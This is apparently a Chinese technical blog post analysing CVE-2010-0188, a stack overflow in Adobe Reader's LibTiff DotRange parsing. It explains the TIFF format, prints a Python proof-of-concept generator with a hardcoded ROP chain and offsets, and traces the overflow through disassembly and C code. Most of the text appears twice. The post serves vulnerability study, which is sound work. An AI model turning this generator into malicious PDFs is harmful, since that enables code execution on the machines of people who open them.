Adobe PDF LibTiff Integer Overflow CVE-2010-0188分析
2013-08-30 21:54
501 查看
一,TIFF图像格式介绍
TIFF文件分为文件头IFH和IFD两部分。
IFH结构见下图:
共有8字节。其中
0-1 规定为“II”或“MM”,Intel/Mortorola类型的字节序列
2-3 TIFF版本号,为向下兼容,值为42
4-7 第一个IFD的偏移量
IFD结构见下图
IFD由连续存储的DE组成。
0-1 IFD中DE个数
2-13 第一个DE
14-25 第二个DE
……
1+12*DE数 下一个IFD相对于文件头的偏移量,若为NULL表示本IFD是最后一个。
DE由连续的12字节表示
0-1 tag指出该DE所表示的图像属性,在同一个IFD中,它总是递增的。
2-3 value的数据类型。
4-7 value的数据长度。
8-11 valueOffset偏移量。为了节省空间,如果此DE值长度不足4字节,就在valueOffset中直接存储。
下表列出了tag所表示的图像属性
标签名 标签的ID号(十进制)
ImageWidth 256
ImageLength 257
Compression 259
PhotometricInterpretation 262
StripOffsets 273
RowsPerStrip 278
StripByteCounts 279
XResolution 282
YResolution 283
ResolutionUnit 296
DotRange 336
以下列出了type各值的含义
1 = BYTE
2 = ASCII
3 = SHORT
4 = LONG
5 = RATIONAL
6 = SBYTE
7 = UNDEFINED
8 = SSHORT
9 = SLONG
10= SRATIONAL
11= FLOAT
12= DOUBLE
二,漏洞产生的原因
漏洞出在对DotRange属性的解析上。
DotRange一般为两个值,即DotRange[0]和DotRange[1]。DotRange标签是一个目录项结构,12字节的数据定义了该标签的TAG、数据类型,数据长度以及值偏移。通常情况下,DotRange的目录项结构是这个样子的:
TAG Type Length Value/Offset
0x0150 0x0003/0x0001 0x00000002 0xAAAAAAAA
其中属性应不超过2。当Length>2时,adobe reader在解析这个属性时,会根据offset的值,读取文件内容,造成栈溢出,最终执行shellcode。
查看PoC,可以看到PDF中嵌入的TIFF图像的结构。PoC中生成TIFF图像的代码如下
然后是第一个IFD的偏移量,\x38\x20。
然后是用\x90填充,接着放置shellcode,然后又是\x90填充。
接下来就是第一个IFD结构,前两个字节表示有7个DE结构,接着依次是7个DE结构的具体内容。
IFD结构后面是4个\x00,表示只有一个IFD结构。
紧接着是8字节的junk数据(后面会说为什么有这8个字节),然后就是ROP链。
需要注意的是第7个DE结构。
\x50\x01 \x03\x00 \xCC\x00\x00\x00 \x92\x20\x00\x00 # DotRange
其中红色的部分就是DotRange的长度,设置成了0xCC>2。加粗部分是偏移量,为0x2092,刚好是junk数据相对于文件头的偏移量。
三、程序流程分析
分析后可以发现此漏洞与CVE-2006-3459如出一辙,可以下载tif_dirread.c文件对比分析。
其中函数的调用关系如下图:
TIFFReadDirectory()中调用TIFFFetchShortPair()的语句如下:
AcroForm!DllUnregisterServer+0x49f8af处,为TIFFFetchShortPair()的入口,汇编如下
对应C代码为:
注意uint16 v[2];就是申请的局部变量,总共4个字节。
loc_20CB59A0处,就是TIFFFetchShortArray()函数的入口,如下
将上面申请的局部变量v作为参数,调用TIFFFetchData()。对应C代码如下
TIFFFetchData()的C代码为
其中cp为TIFFFetchShortPair()函数中申请的局部变量uint16 v[2];,tif->tif_base + dir->tdir_offset是DotRange中存储的偏移量,即junk的起始处。8个字节的junk会刚好将栈中的局部变量v(4个字节)和ebp填充,从而将TIFFFetchShortPair()函数的返回地址覆盖为rop链。
这里就是调用_TIFFmemcpy()函数了。
进入_TIFFmemcpy()后,再经过一系列处理,来到这里
这儿就是真正调用memcpy函数覆盖栈了。
接下来函数层层返回,直到AcroForm!DllUnregisterServer+0x49f915,这儿就是TIFFFetchShortPair()函数返回的地方,之后程序就转入ROP链,进而执行shellcode。
TIFF文件分为文件头IFH和IFD两部分。
IFH结构见下图:
共有8字节。其中
0-1 规定为“II”或“MM”,Intel/Mortorola类型的字节序列
2-3 TIFF版本号,为向下兼容,值为42
4-7 第一个IFD的偏移量
IFD结构见下图
IFD由连续存储的DE组成。
0-1 IFD中DE个数
2-13 第一个DE
14-25 第二个DE
……
1+12*DE数 下一个IFD相对于文件头的偏移量,若为NULL表示本IFD是最后一个。
DE由连续的12字节表示
0-1 tag指出该DE所表示的图像属性,在同一个IFD中,它总是递增的。
2-3 value的数据类型。
4-7 value的数据长度。
8-11 valueOffset偏移量。为了节省空间,如果此DE值长度不足4字节,就在valueOffset中直接存储。
下表列出了tag所表示的图像属性
标签名 标签的ID号(十进制)
ImageWidth 256
ImageLength 257
Compression 259
PhotometricInterpretation 262
StripOffsets 273
RowsPerStrip 278
StripByteCounts 279
XResolution 282
YResolution 283
ResolutionUnit 296
DotRange 336
以下列出了type各值的含义
1 = BYTE
2 = ASCII
3 = SHORT
4 = LONG
5 = RATIONAL
6 = SBYTE
7 = UNDEFINED
8 = SSHORT
9 = SLONG
10= SRATIONAL
11= FLOAT
12= DOUBLE
二,漏洞产生的原因
漏洞出在对DotRange属性的解析上。
DotRange一般为两个值,即DotRange[0]和DotRange[1]。DotRange标签是一个目录项结构,12字节的数据定义了该标签的TAG、数据类型,数据长度以及值偏移。通常情况下,DotRange的目录项结构是这个样子的:
TAG Type Length Value/Offset
0x0150 0x0003/0x0001 0x00000002 0xAAAAAAAA
其中属性应不超过2。当Length>2时,adobe reader在解析这个属性时,会根据offset的值,读取文件内容,造成栈溢出,最终执行shellcode。
查看PoC,可以看到PDF中嵌入的TIFF图像的结构。PoC中生成TIFF图像的代码如下
SHELLCODE_OFFSET = 0x555 TIFF_OFSET = 0x2038 def gen_tiff(self): tiff = '\x49\x49\x2a\x00' tiff += struct.pack("<L", TIFF_OFSET) tiff += '\x90' * (SHELLCODE_OFFSET) tiff += self.shellcode tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET) # First IFD tiff += "\x07\x00" #number of DE = 7 tiff += "\x00\x01\x03\x00\x01\x00\x00\x00\x30\x20\x00\x00" # ImageWidth tiff += "\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00" # ImageHeigth tiff += "\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00" # compression tiff += "\x06\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00" # PhotometricInterpretation tiff += "\x11\x01\x04\x00\x01\x00\x00\x00\x08\x00\x00\x00" # Stripoffset tiff += "\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20\x00\x00" # stripbytecounts tiff += "\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00" # Dot Range # Next IFD: no more IFD tiff += "\x00\x00\x00\x00" # junk tiff += "\x00\x0C\x0C\x08\x24\x01\x01\x00" # start of ROP tiff += "\xF7\x72\x00\x07\x04\x01" tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15" tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00" tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8" tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C" tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01" tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15" tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11" tiff += "\x00\x07" return tiff首先是文件头,\x49\x49\x2a\x00,表示Intel字节序列,即Little-Endian。
然后是第一个IFD的偏移量,\x38\x20。
然后是用\x90填充,接着放置shellcode,然后又是\x90填充。
接下来就是第一个IFD结构,前两个字节表示有7个DE结构,接着依次是7个DE结构的具体内容。
IFD结构后面是4个\x00,表示只有一个IFD结构。
紧接着是8字节的junk数据(后面会说为什么有这8个字节),然后就是ROP链。
需要注意的是第7个DE结构。
\x50\x01 \x03\x00 \xCC\x00\x00\x00 \x92\x20\x00\x00 # DotRange
其中红色的部分就是DotRange的长度,设置成了0xCC>2。加粗部分是偏移量,为0x2092,刚好是junk数据相对于文件头的偏移量。
三、程序流程分析
分析后可以发现此漏洞与CVE-2006-3459如出一辙,可以下载tif_dirread.c文件对比分析。
其中函数的调用关系如下图:
TIFFReadDirectory()中调用TIFFFetchShortPair()的语句如下:
case TIFFTAG_PAGENUMBER: case TIFFTAG_HALFTONEHINTS: case TIFFTAG_YCBCRSUBSAMPLING: case TIFFTAG_DOTRANGE: (void) TIFFFetchShortPair(tif, dp); break;
AcroForm!DllUnregisterServer+0x49f8af处,为TIFFFetchShortPair()的入口,汇编如下
.text:20CB59F7 push ebp .text:20CB59F8 mov ebp, esp .text:20CB59FA push ecx .text:20CB59FB movzx eax, word ptr [esi+2] ; get the type of DE .text:20CB59FF dec eax .text:20CB5A00 jz short loc_20CB5A2A ; TIFF_BYTE .text:20CB5A02 dec eax .text:20CB5A03 dec eax .text:20CB5A04 jz short loc_20CB5A0F ; TIFF_SHORT .text:20CB5A06 sub eax, 3 .text:20CB5A09 jz short loc_20CB5A2A ; TIFF_SBYTE .text:20CB5A0B dec eax .text:20CB5A0C dec eax .text:20CB5A0D jnz short loc_20CB5A5A ; TIFF_SSHORT可以看到,程序一开始申请了4字节的局部变量(push ecx),然后取DE的type,接下来是对其进行比较,然后跳转到处理函数。DotRange的type为3(TIFF_SHORT),会跳转到loc_20CB5A0F。
.text:20CB5A0F lea eax, [ebp+var_4] .text:20CB5A12 mov ecx, esi .text:20CB5A14 mov edx, edi .text:20CB5A16 call loc_20CB59A0 ; call TIFFFetchShortArray()
对应C代码为:
uint16 v[2]; int ok = 0; switch (dir->tdir_type) { case TIFF_SHORT: case TIFF_SSHORT: ok = TIFFFetchShortArray(tif, dir, v); break; case TIFF_BYTE: case TIFF_SBYTE: ok = TIFFFetchByteArray(tif, dir, v); break; }
注意uint16 v[2];就是申请的局部变量,总共4个字节。
loc_20CB59A0处,就是TIFFFetchShortArray()函数的入口,如下
.text:20CB59A0 push ebx .text:20CB59A1 push esi .text:20CB59A2 mov esi, ecx .text:20CB59A4 mov ecx, [esi+4] ; length = 0xCC .text:20CB59A7 cmp ecx, 2 .text:20CB59AA mov ebx, edx .text:20CB59AC ja short loc_20CB59E7比较length与2,不小于则跳转到loc_20CB59E7;
.text:20CB59E7 push eax ; v .text:20CB59E8 call sub_20CB56A5 ; call TIFFFetchData()
将上面申请的局部变量v作为参数,调用TIFFFetchData()。对应C代码如下
if (dir->tdir_count <= 2) { ... } else return (TIFFFetchData(tif, dir, (char *)v) != 0);
TIFFFetchData()的C代码为
TIFFFetchData(TIFF* tif, TIFFDirEntry* dir, char* cp) { int w = tiffDataWidth[dir->tdir_type]; tsize_t cc = dir->tdir_count * w; if (!isMapped(tif)) { if (!SeekOK(tif, dir->tdir_offset)) goto bad; if (!ReadOK(tif, cp, cc)) goto bad; } else { if (dir->tdir_offset + cc > tif->tif_size) goto bad; _TIFFmemcpy(cp, tif->tif_base + dir->tdir_offset, cc); } ...... }
其中cp为TIFFFetchShortPair()函数中申请的局部变量uint16 v[2];,tif->tif_base + dir->tdir_offset是DotRange中存储的偏移量,即junk的起始处。8个字节的junk会刚好将栈中的局部变量v(4个字节)和ebp填充,从而将TIFFFetchShortPair()函数的返回地址覆盖为rop链。
这里就是调用_TIFFmemcpy()函数了。
.text:20CB56F1 push edi ; n .text:20CB56F2 push [ebp+Dst] ; dest .text:20CB56F5 push dword ptr [ebx+194h] ; src .text:20CB56FB call dword ptr [ebx+198h]
进入_TIFFmemcpy()后,再经过一系列处理,来到这里
209D4572 |. 57 |PUSH EDI ; /n 209D4573 |. 03C1 |ADD EAX,ECX ; | 209D4575 |. 50 |PUSH EAX ; |src 209D4576 |. FF75 08 |PUSH DWORD PTR SS:[EBP+8] ; |dest 209D4579 |. E8 70E1E2FF |CALL <JMP.&MSVCR80.memcpy> ; \memcpy
这儿就是真正调用memcpy函数覆盖栈了。
接下来函数层层返回,直到AcroForm!DllUnregisterServer+0x49f915,这儿就是TIFFFetchShortPair()函数返回的地方,之后程序就转入ROP链,进而执行shellcode。
相关文章推荐
- CVE-2010-2883Adobe Reader和Acrobat CoolType.dll栈缓冲区溢出漏洞分析
- CVE-2010-2553 Microsoft Windows Cinepak 编码解码器解压缩漏洞 分析
- 【转】CVE-2010-4258 漏洞分析
- Microsoft LNK Vulnerability Brief Technical Analysis(CVE-2010-2568)【windowsLNK快捷方式漏洞分析】
- 漏洞分析之CVE-2010-2883(栈溢出)
- 一个利用 CVE-2010-2883 漏洞的样本的简要分析
- Adobe Flash Player CVE-2012-0779漏洞技术分析
- 利用CVE-2010-2883漏洞制作pdf马
- Adobe Flash Player CVE-2012-0779漏洞技术分析
- cve-2010-3333 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 分析
- Win7下,Office 2010和Adobe Acrobat Professional 8.1不兼容:PDFMaker文件遗失
- CVE-2010-0188调试报告
- 看个AV也中招之cve-2010-2553漏洞分析
- CVE-2012-0758 Adobe Shockwave Player Parsing cupt atom heap overflow
- CVE-2010-3962逆向分析过程
- 对ms10-087(CVE-2010-3333)漏洞分析
- CVE-2010-4258漏洞分析
- CVE-2010-3654分析及利用
- CVE-2010-0249 IE8 UAF漏洞分析
- 看个AV也中招之cve-2010-2553漏洞分析